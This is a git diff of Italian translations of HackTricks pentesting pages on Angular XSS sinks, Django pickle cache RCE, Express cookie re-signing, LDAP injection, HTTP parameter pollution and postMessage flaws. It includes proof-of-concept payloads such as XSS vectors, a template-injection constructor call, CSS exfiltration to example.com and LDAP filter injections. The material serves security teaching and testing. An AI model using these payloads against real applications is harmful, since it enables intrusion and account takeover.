4. `bypassSecurityTrustScript` viene utilizzato per indicare che il valore fornito è JavaScript sicuro. Tuttavia, abbiamo riscontrato che il suo comportamento è imprevedibile, poiché non siamo riusciti a eseguire codice JS nei template utilizzando questo metodo.
```jsx
//app.component.ts
@ -171,7 +173,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
//app.component.html
<script [innerHtml]="trustedScript"></script>
//risultato
//result
-
```
5. `bypassSecurityTrustStyle` viene utilizzato per indicare che il valore fornito è CSS sicuro. Il seguente esempio illustra l'iniezione di CSS:
@ -183,15 +185,15 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//risultato
//result
Request URL: GET example.com/exfil/a
```
Angular fornisce un metodo `sanitize` per sanitizzare i dati prima di visualizzarli nelle viste. Questo metodo impiega il contesto di sicurezza fornito e purifica l'input di conseguenza. È, tuttavia, cruciale utilizzare il contesto di sicurezza corretto per i dati e il contesto specifici. Ad esempio, applicare un sanitizzatore con `SecurityContext.URL` su contenuti HTML non fornisce protezione contro valori HTML pericolosi. In tali scenari, un uso improprio del contesto di sicurezza potrebbe portare a vulnerabilità XSS.
### Iniezione HTML
### HTML injection
Questa vulnerabilità si verifica quando l'input dell'utente è legato a una delle tre proprietà: `innerHTML`, `outerHTML` o `iframe` `srcdoc`. Mentre il binding a questi attributi interpreta l'HTML così com'è, l'input viene sanitizzato utilizzando `SecurityContext.HTML`. Pertanto, è possibile l'iniezione di HTML, ma non il cross-site scripting (XSS).
Questa vulnerabilità si verifica quando l'input dell'utente è legato a una delle tre proprietà: `innerHTML`, `outerHTML` o `iframe` `srcdoc`. Mentre il binding a questi attributi interpreta l'HTML così com'è, l'input viene sanitizzato utilizzando `SecurityContext.HTML`. Pertanto, l'iniezione di HTML è possibile, ma lo scripting intersito (XSS) non lo è.
Esempio di utilizzo di `innerHTML`:
```jsx
@ -218,7 +220,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
Angular sfrutta i template per costruire pagine dinamicamente. L'approccio prevede di racchiudere le espressioni del template che Angular deve valutare all'interno di doppie parentesi graffe (`{{}}`). In questo modo, il framework offre funzionalità aggiuntive. Ad esempio, un template come `{{1+1}}` verrebbe visualizzato come 2.
Tipicamente, Angular esegue l'escape dell'input dell'utente che può essere confuso con le espressioni del template (ad es., caratteri come \`< > ' " \`\`). Ciò significa che sono necessari ulteriori passaggi per eludere questa restrizione, come utilizzare funzioni che generano oggetti stringa JavaScript per evitare di utilizzare caratteri nella lista nera. Tuttavia, per ottenere questo, dobbiamo considerare il contesto di Angular, le sue proprietà e variabili. Pertanto, un attacco di iniezione di template potrebbe apparire come segue:
Tipicamente, Angular esegue l'escape dell'input dell'utente che può essere confuso con le espressioni del template (ad es., caratteri come \`< > ' " \`\`). Ciò significa che sono necessari ulteriori passaggi per eludere questa restrizione, come utilizzare funzioni che generano oggetti stringa JavaScript per evitare di utilizzare caratteri nella lista nera. Tuttavia, per raggiungere questo obiettivo, dobbiamo considerare il contesto di Angular, le sue proprietà e variabili. Pertanto, un attacco di iniezione di template potrebbe apparire come segue:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -227,7 +229,7 @@ selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Come mostrato sopra: `constructor` si riferisce all'ambito della proprietà Object `constructor`, consentendoci di invocare il costruttore String ed eseguire un codice arbitrario.
Come mostrato sopra: `constructor` si riferisce all'ambito della proprietà Object `constructor`, permettendoci di invocare il costruttore String ed eseguire un codice arbitrario.
#### Rendering lato server (SSR)
@ -292,7 +294,7 @@ document.body.appendChild(a);
```
#### Classi Angular
Ci sono alcune classi che possono essere utilizzate per lavorare con gli elementi DOM in Angular: `ElementRef`, `Renderer2`, `Location` e `Document`. Una descrizione dettagliata delle ultime due classi è fornita nella sezione **Open redirects**. La principale differenza tra le prime due è che l'API `Renderer2` fornisce uno strato di astrazione tra l'elemento DOM e il codice del componente, mentre `ElementRef` tiene semplicemente un riferimento all'elemento. Pertanto, secondo la documentazione di Angular, l'API `ElementRef` dovrebbe essere utilizzata solo come ultima risorsa quando è necessario l'accesso diretto al DOM.
Ci sono alcune classi che possono essere utilizzate per lavorare con gli elementi DOM in Angular: `ElementRef`, `Renderer2`, `Location` e `Document`. Una descrizione dettagliata delle ultime due classi è fornita nella sezione **Open redirects**. La principale differenza tra le prime due è che l'API `Renderer2` fornisce uno strato di astrazione tra l'elemento DOM e il codice del componente, mentre `ElementRef` tiene semplicemente un riferimento all'elemento. Pertanto, secondo la documentazione di Angular, l'API `ElementRef` dovrebbe essere utilizzata solo come ultima risorsa quando è necessario un accesso diretto al DOM.
* `ElementRef` contiene la proprietà `nativeElement`, che può essere utilizzata per manipolare gli elementi DOM. Tuttavia, un uso improprio di `nativeElement` può comportare una vulnerabilità di iniezione XSS, come mostrato di seguito:
@ -343,7 +345,7 @@ this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
<img #img>
<button (click)="setAttribute()">Click me!</button>
```
* Per impostare la proprietà di un elemento DOM, puoi utilizzare il metodo `Renderer2.setProperty()` e innescare un attacco XSS:
* Per impostare la proprietà di un elemento DOM, puoi utilizzare il metodo `Renderer2.setProperty()` e attivare un attacco XSS:
```tsx
//app.component.ts
@ -377,7 +379,7 @@ Durante la nostra ricerca, abbiamo anche esaminato il comportamento di altri met
jQuery è una libreria JavaScript veloce, leggera e ricca di funzionalità che può essere utilizzata nel progetto Angular per aiutare con la manipolazione degli oggetti DOM HTML. Tuttavia, come è noto, i metodi di questa libreria possono essere sfruttati per ottenere una vulnerabilità XSS. Per discutere di come alcuni metodi vulnerabili di jQuery possano essere sfruttati nei progetti Angular, abbiamo aggiunto questa sottosezione.
* Il metodo `html()` ottiene i contenuti HTML del primo elemento nel set di elementi corrispondenti o imposta i contenuti HTML di ogni elemento corrispondente. Tuttavia, per design, qualsiasi costruttore o metodo jQuery che accetta una stringa HTML può potenzialmente eseguire codice. Questo può avvenire tramite l'iniezione di tag `<script>` o l'uso di attributi HTML che eseguono codice, come mostrato nell'esempio.
* Il metodo `html()` ottiene i contenuti HTML del primo elemento nel set di elementi corrispondenti o imposta i contenuti HTML di ogni elemento corrispondente. Tuttavia, per design, qualsiasi costruttore o metodo jQuery che accetta una stringa HTML può potenzialmente eseguire codice. Questo può verificarsi mediante l'iniezione di tag `<script>` o l'uso di attributi HTML che eseguono codice, come mostrato nell'esempio.
```tsx
//app.component.ts
@ -410,7 +412,7 @@ $("p").html("<script>alert(1)</script>");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Come accennato in precedenza, la maggior parte delle API jQuery che accettano stringhe HTML eseguiranno script inclusi nell'HTML. Il metodo `jQuery.parseHTML()` non esegue script nell'HTML analizzato a meno che `keepScripts` non sia esplicitamente `true`. Tuttavia, è ancora possibile nella maggior parte degli ambienti eseguire script indirettamente; ad esempio, tramite l'attributo `<img onerror>`.
Come accennato in precedenza, la maggior parte delle API jQuery che accettano stringhe HTML eseguiranno script inclusi nell'HTML. Il metodo `jQuery.parseHTML()` non esegue script nell'HTML analizzato a meno che `keepScripts` non sia esplicitamente `true`. Tuttavia, è ancora possibile in molti ambienti eseguire script indirettamente; ad esempio, tramite l'attributo `<img onerror>`.
```tsx
//app.component.ts
@ -446,7 +448,7 @@ $palias.append(html);
#### Interfacce DOM
Secondo la documentazione W3C, gli oggetti `window.location` e `document.location` sono trattati come alias nei browser moderni. Ecco perché hanno implementazioni simili di alcuni metodi e proprietà, il che potrebbe causare un open redirect e XSS DOM con attacchi di schema `javascript://` come menzionato di seguito.
Secondo la documentazione W3C, gli oggetti `window.location` e `document.location` sono trattati come alias nei browser moderni. Ecco perché hanno un'implementazione simile di alcuni metodi e proprietà, che potrebbero causare un open redirect e XSS DOM con attacchi di schema `javascript://` come menzionato di seguito.
* `window.location.href`(e `document.location.href`)
@ -468,7 +470,7 @@ window.location.href = "https://google.com/about"
Il processo di sfruttamento è identico per i seguenti scenari.
* `window.location.assign()`(e `document.location.assign()`)
Questo metodo fa sì che la finestra carichi e visualizzi il documento all'URL specificato. Se abbiamo il controllo su questo metodo, potrebbe essere un sink per un attacco di open redirect.
Questo metodo causa il caricamento e la visualizzazione del documento all'URL specificato. Se abbiamo il controllo su questo metodo, potrebbe essere un sink per un attacco di open redirect.
```tsx
//app.component.ts
@ -496,7 +498,7 @@ window.location.replace("http://google.com/about")
```
* `window.open()`
Il metodo `window.open()` prende un URL e carica la risorsa che identifica in una nuova scheda o finestra esistente. Avere il controllo su questo metodo potrebbe anche essere un'opportunità per innescare una vulnerabilità XSS o open redirect.
Il metodo `window.open()` prende un URL e carica la risorsa che identifica in una nuova scheda o finestra esistente. Avere il controllo su questo metodo potrebbe anche essere un'opportunità per attivare una vulnerabilità XSS o open redirect.
```tsx
//app.component.ts
@ -601,3 +603,7 @@ this.router.navigateByUrl('URL')
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)
{{#include /banners/hacktricks-training.md}}

6
src/network-services-pentesting/pentesting-web/django.md
View File

@ -1,8 +1,12 @@
# Django
{{#include /banners/hacktricks-training.md}}
## Manipolazione della Cache per RCE
Il metodo di archiviazione della cache predefinito di Django è [Python pickles](https://docs.python.org/3/library/pickle.html), che può portare a RCE se [l'input non attendibile viene de-pickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante**.
La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore d'attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore di attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
Questo rapporto di HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
{{#include /banners/hacktricks-training.md}}

1
src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md
View File

@ -1 +0,0 @@
# GWT - Google Web Toolkit

6
src/network-services-pentesting/pentesting-web/nodejs-express.md
View File

@ -1,5 +1,7 @@
# NodeJS Express
{{#include /banners/hacktricks-training.md}}
## Firma del Cookie
Lo strumento [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) è un'utilità per automatizzare il testing e la ri-firma dei segreti dei cookie di Express.js.
@ -8,7 +10,7 @@ Lo strumento [https://github.com/DigitalInterruption/cookie-monster](https://git
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
```
### Lista di parole personalizzata
### Elenco di parole personalizzato
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
```
@ -26,4 +28,4 @@ Se conosci il segreto, puoi firmare il cookie.
```bash
cookie-monster -e -f new_cookie.json -k secret
```
{{#include /banners/hacktricks-training.md}}

121
src/online-platforms-with-api.md
View File

@ -1,121 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# [ProjectHoneypot](https://www.projecthoneypot.org/)
Puoi chiedere se un IP è correlato ad attività sospette/maligne. Completamente gratuito.
# [**BotScout**](http://botscout.com/api.htm)
Controlla se l'indirizzo IP è correlato a un bot che registra account. Può anche controllare nomi utente e email. Inizialmente gratuito.
# [Hunter](https://hunter.io/)
Trova e verifica email.
Alcune richieste API gratuite, per di più devi pagare.
Commerciale?
# [AlientVault](https://otx.alienvault.com/api)
Trova attività maligne correlate a IP e domini. Gratuito.
# [Clearbit](https://dashboard.clearbit.com/)
Trova dati personali correlati a un'email \(profili su altre piattaforme\), dominio \(informazioni di base sull'azienda, email e persone che lavorano\) e aziende \(ottieni informazioni sull'azienda dall'email\).
Devi pagare per accedere a tutte le possibilità.
Commerciale?
# [BuiltWith](https://builtwith.com/)
Tecnologie utilizzate dai siti web. Costoso...
Commerciale?
# [Fraudguard](https://fraudguard.io/)
Controlla se un host \(dominio o IP\) è correlato ad attività sospette/maligne. Ha un accesso API gratuito.
Commerciale?
# [FortiGuard](https://fortiguard.com/)
Controlla se un host \(dominio o IP\) è correlato ad attività sospette/maligne. Ha un accesso API gratuito.
# [SpamCop](https://www.spamcop.net/)
Indica se l'host è correlato ad attività di spam. Ha un accesso API gratuito.
# [mywot](https://www.mywot.com/)
Basato su opinioni e altre metriche, verifica se un dominio è correlato a informazioni sospette/maligne.
# [ipinfo](https://ipinfo.io/)
Ottiene informazioni di base da un indirizzo IP. Puoi testare fino a 100K/mese.
# [securitytrails](https://securitytrails.com/app/account)
Questa piattaforma fornisce informazioni su domini e indirizzi IP come domini all'interno di un IP o all'interno di un server di dominio, domini posseduti da un'email \(trova domini correlati\), cronologia IP dei domini \(trova l'host dietro CloudFlare\), tutti i domini che utilizzano un nameserver....
Hai un accesso gratuito.
# [fullcontact](https://www.fullcontact.com/)
Permette di cercare per email, dominio o nome dell'azienda e recuperare informazioni "personali" correlate. Può anche verificare email. C'è un accesso gratuito.
# [RiskIQ](https://www.spiderfoot.net/documentation/)
Molte informazioni da domini e IP anche nella versione gratuita/comunitaria.
# [\_IntelligenceX](https://intelx.io/)
Cerca domini, IP ed email e ottieni informazioni da dump. Ha un accesso gratuito.
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
Cerca per IP e raccogli informazioni relative ad attività sospette. C'è un accesso gratuito.
# [Greynoise](https://viz.greynoise.io/)
Cerca per IP o intervallo di IP e ottieni informazioni sugli IP che scansionano Internet. Accesso gratuito per 15 giorni.
# [Shodan](https://www.shodan.io/)
Ottieni informazioni di scansione di un indirizzo IP. Ha un accesso API gratuito.
# [Censys](https://censys.io/)
Molto simile a shodan
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
Trova bucket S3 aperti cercando per parola chiave.
# [Dehashed](https://www.dehashed.com/data)
Trova credenziali trapelate di email e persino domini
Commerciale?
# [psbdmp](https://psbdmp.ws/)
Cerca pastebin dove è apparsa un'email. Commerciale?
# [emailrep.io](https://emailrep.io/key)
Ottieni reputazione di un'email. Commerciale?
# [ghostproject](https://ghostproject.fr/)
Ottieni password da email trapelate. Commerciale?
# [Binaryedge](https://www.binaryedge.io/)
Ottieni informazioni interessanti da IP
# [haveibeenpwned](https://haveibeenpwned.com/)
Cerca per dominio e email e verifica se è stato compromesso e le password. Commerciale?
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in uno strumento commerciale?\)
[https://www.netcraft.com/](https://www.netcraft.com/) \(in uno strumento commerciale?\)
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in uno strumento commerciale?\)
{{#include ./banners/hacktricks-training.md}}

41
src/other-web-tricks.md
View File

@ -1,41 +0,0 @@
# Altri trucchi web
{{#include ./banners/hacktricks-training.md}}
### Intestazione Host
Diverse volte il back-end si fida dell'**intestazione Host** per eseguire alcune azioni. Ad esempio, potrebbe utilizzare il suo valore come **dominio per inviare un ripristino della password**. Quindi, quando ricevi un'email con un link per ripristinare la tua password, il dominio utilizzato è quello che hai inserito nell'intestazione Host. Poi, puoi richiedere il ripristino della password di altri utenti e cambiare il dominio in uno controllato da te per rubare i loro codici di ripristino della password. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Nota che è possibile che tu non debba nemmeno aspettare che l'utente clicchi sul link per ripristinare la password per ottenere il token, poiché anche **i filtri antispam o altri dispositivi/bot intermedi potrebbero cliccarci sopra per analizzarlo**.
### Booleani di sessione
A volte, quando completi correttamente alcune verifiche, il back-end **aggiunge semplicemente un booleano con il valore "True" a un attributo di sicurezza della tua sessione**. Poi, un endpoint diverso saprà se hai superato con successo quel controllo.\
Tuttavia, se **superi il controllo** e alla tua sessione viene concesso quel valore "True" nell'attributo di sicurezza, puoi provare ad **accedere ad altre risorse** che **dipendono dallo stesso attributo** ma a cui **non dovresti avere permessi** di accesso. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Funzionalità di registrazione
Prova a registrarti come un utente già esistente. Prova anche a utilizzare caratteri equivalenti (punti, molte spaziature e Unicode).
### Prendere il controllo delle email
Registrati con un'email, prima di confermarla cambia l'email, poi, se la nuova email di conferma viene inviata alla prima email registrata, puoi prendere il controllo di qualsiasi email. Oppure, se puoi abilitare la seconda email confermando la prima, puoi anche prendere il controllo di qualsiasi account.
### Accesso al servizio interno di assistenza delle aziende che utilizzano Atlassian
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Metodo TRACE
Gli sviluppatori potrebbero dimenticare di disabilitare varie opzioni di debug nell'ambiente di produzione. Ad esempio, il metodo HTTP `TRACE` è progettato per scopi diagnostici. Se abilitato, il server web risponderà alle richieste che utilizzano il metodo `TRACE` ripetendo nella risposta la richiesta esatta ricevuta. Questo comportamento è spesso innocuo, ma occasionalmente porta a divulgazione di informazioni, come il nome delle intestazioni di autenticazione interne che potrebbero essere aggiunte alle richieste da proxy inversi. ![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}
### Same-Site Scripting
Si verifica quando ci imbattiamo in un dominio o sottodominio che si risolve in localhost o 127.0.0.1 a causa di alcune errate configurazioni DNS. Consente a un attaccante di eludere le restrizioni di origine stessa del RFC2109 (Meccanismo di gestione dello stato HTTP) e quindi di dirottare i dati di gestione dello stato. Può anche consentire il cross-site scripting. Puoi leggere di più al riguardo [qui](https://seclists.org/bugtraq/2008/Jan/270)

9
src/pentesting-dns.md
View File

@ -1,9 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
**Ricerca ulteriori attacchi al DNS**
**DNSSEC e DNSSEC3**
**DNS in IPv6**
{{#include ./banners/hacktricks-training.md}}

6
src/pentesting-web/ldap-injection.md
View File

@ -1,7 +1,5 @@
# LDAP Injection
## LDAP Injection
{{#include ../banners/hacktricks-training.md}}
## LDAP Injection
@ -14,7 +12,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP a partire dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
@ -121,7 +119,7 @@ password=any
### Blind LDAP Injection
Puoi forzare risposte False o True per verificare se vengono restituiti dati e confermare un possibile Blind LDAP Injection:
Puoi forzare risposte False o True per verificare se vengono restituiti dati e confermare una possibile Blind LDAP Injection:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void

43
src/pentesting-web/parameter-pollution.md
View File

@ -1,54 +1,53 @@
# Inquinamento dei Parametri | Iniezione JSON
## Inquinamento dei Parametri
# Parameter Pollution | JSON Injection
{{#include ../banners/hacktricks-training.md}}
## Panoramica dell'Inquinamento dei Parametri HTTP (HPP)
L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
## Panoramica sull'HTTP Parameter Pollution (HPP)
### Esempio di Inquinamento dei Parametri HTTP (HPP)
L'HTTP Parameter Pollution (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
### Esempio di HTTP Parameter Pollution (HPP)
Un URL di transazione di un'applicazione bancaria:
- **URL Originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
- **URL originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Inserendo un ulteriore parametro `from`:
- **URL Manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **URL manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, dimostrando il potenziale dell'HPP di manipolare transazioni o altre funzionalità come il ripristino della password, le impostazioni 2FA o le richieste di chiavi API.
La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, dimostrando il potenziale dell'HPP di manipolare transazioni o altre funzionalità come il reset della password, le impostazioni 2FA o le richieste di chiavi API.
#### **Parsing dei Parametri Specifico per Tecnologia**
#### **Parsing dei parametri specifico per tecnologia**
- Il modo in cui i parametri vengono analizzati e prioritizzati dipende dalla tecnologia web sottostante, influenzando come l'HPP può essere sfruttato.
- Strumenti come [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aiutano a identificare queste tecnologie e i loro comportamenti di parsing.
### Sfruttamento di PHP e HPP
**Caso di Manipolazione OTP:**
**Caso di manipolazione OTP:**
- **Contesto:** Un meccanismo di accesso che richiede una Password Usa e Getta (OTP) è stato sfruttato.
- **Contesto:** Un meccanismo di accesso che richiede una One-Time Password (OTP) è stato sfruttato.
- **Metodo:** Intercettando la richiesta OTP utilizzando strumenti come Burp Suite, gli attaccanti hanno duplicato il parametro `email` nella richiesta HTTP.
- **Risultato:** L'OTP, destinato all'email iniziale, è stato invece inviato al secondo indirizzo email specificato nella richiesta manipolata. Questo difetto ha consentito l'accesso non autorizzato eludendo la misura di sicurezza prevista.
- **Risultato:** L'OTP, destinato all'email iniziale, è stato invece inviato al secondo indirizzo email specificato nella richiesta manipolata. Questa vulnerabilità ha consentito l'accesso non autorizzato eludendo la misura di sicurezza prevista.
Questo scenario evidenzia una grave svista nel backend dell'applicazione, che ha elaborato il primo parametro `email` per la generazione dell'OTP ma ha utilizzato l'ultimo per la consegna.
**Caso di Manipolazione della Chiave API:**
**Caso di manipolazione della chiave API:**
- **Scenario:** Un'applicazione consente agli utenti di aggiornare la propria chiave API tramite una pagina delle impostazioni del profilo.
- **Vettore di Attacco:** Un attaccante scopre che aggiungendo un ulteriore parametro `api_key` alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
- **Vettore di attacco:** Un attaccante scopre che aggiungendo un ulteriore parametro `api_key` alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
- **Tecnica:** Utilizzando uno strumento come Burp Suite, l'attaccante crea una richiesta che include due parametri `api_key`: uno legittimo e uno malevolo. Il server, elaborando solo l'ultima occorrenza, aggiorna la chiave API al valore fornito dall'attaccante.
- **Risultato:** L'attaccante ottiene il controllo sulla funzionalità API della vittima, potenzialmente accedendo o modificando dati privati in modo non autorizzato.
Questo esempio sottolinea ulteriormente la necessità di una gestione sicura dei parametri, specialmente in funzionalità critiche come la gestione delle chiavi API.
### Parsing dei Parametri: Flask vs. PHP
### Parsing dei parametri: Flask vs. PHP
Il modo in cui le tecnologie web gestiscono i parametri HTTP duplicati varia, influenzando la loro suscettibilità agli attacchi HPP:
- **Flask:** Adozione del primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi.
- **Flask:** Adotta il primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi.
- **PHP (su Apache HTTP Server):** Al contrario, privilegia l'ultimo valore del parametro, optando per `a=2` nell'esempio fornito. Questo comportamento può facilitare involontariamente gli exploit HPP onorando il parametro manipolato dall'attaccante rispetto all'originale.
## Inquinamento dei parametri per tecnologia
@ -117,7 +116,7 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
1. NON riconosce name\[].
2. Preferisce l'ultimo parametro.
## Iniezione JSON
## JSON Injection
### Chiavi duplicate
```ini
@ -127,7 +126,7 @@ Il front-end potrebbe credere alla prima occorrenza mentre il backend utilizza l
### Collisione di Chiavi: Troncamento dei Caratteri e Commenti
Alcaratteri non verranno interpretati correttamente dal frontend, ma il backend li interpreterà e utilizzerà quelle chiavi, questo potrebbe essere utile per **bypassare certe restrizioni**:
Al alcuni caratteri non verranno interpretati correttamente dal frontend, ma il backend li interpreterà e utilizzerà quelle chiavi, questo potrebbe essere utile per **bypassare certe restrizioni**:
```json
{"test": 1, "test\[raw \x0d byte]": 2}
{"test": 1, "test\ud800": 2}
@ -143,7 +142,7 @@ Questo può anche essere usato per bypassare le restrizioni sui valori come:
{"role": "administrator""}
{"role": "admini\strator"}
```
### **Utilizzando il Troncamento dei Commenti**
### **Utilizzo della Troncatura dei Commenti**
```ini
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
```
@ -162,7 +161,7 @@ Serializer 2 (ad esempio, la libreria JSON-iterator di Java) produrrà:
- `extra2 = "*/"`
- `test = 1`
In alternativa, l'uso diretto dei commenti può essere altrettanto efficace:
In alternativa, l'uso diretto dei commenti può essere efficace:
```ini
obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}
```
@ -195,7 +194,7 @@ può essere decodificato in più rappresentazioni, inclusi:
0
9223372036854775807
```
Che potrebbe creare incoerenze
Potrebbe creare incoerenze
## Riferimenti

24
src/pentesting-web/postmessage-vulnerabilities/README.md
View File

@ -1,7 +1,5 @@
# Vulnerabilità di PostMessage
## Vulnerabilità di PostMessage
{{#include ../../banners/hacktricks-training.md}}
## Invia **PostMessage**
@ -33,7 +31,7 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\
Nel **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
Nella **seconda situazione**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.
### Attacco a iframe e carattere jolly in **targetOrigin**
@ -84,7 +82,7 @@ Per **trovare i listener di eventi** nella pagina corrente puoi:
![](<../../images/image (396).png>)
- Utilizzare un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno.
- Usa un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno.
### Bypass dei controlli di origine
@ -95,7 +93,7 @@ Per **trovare i listener di eventi** nella pagina corrente puoi:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché in regex, un punto (.) funge da carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
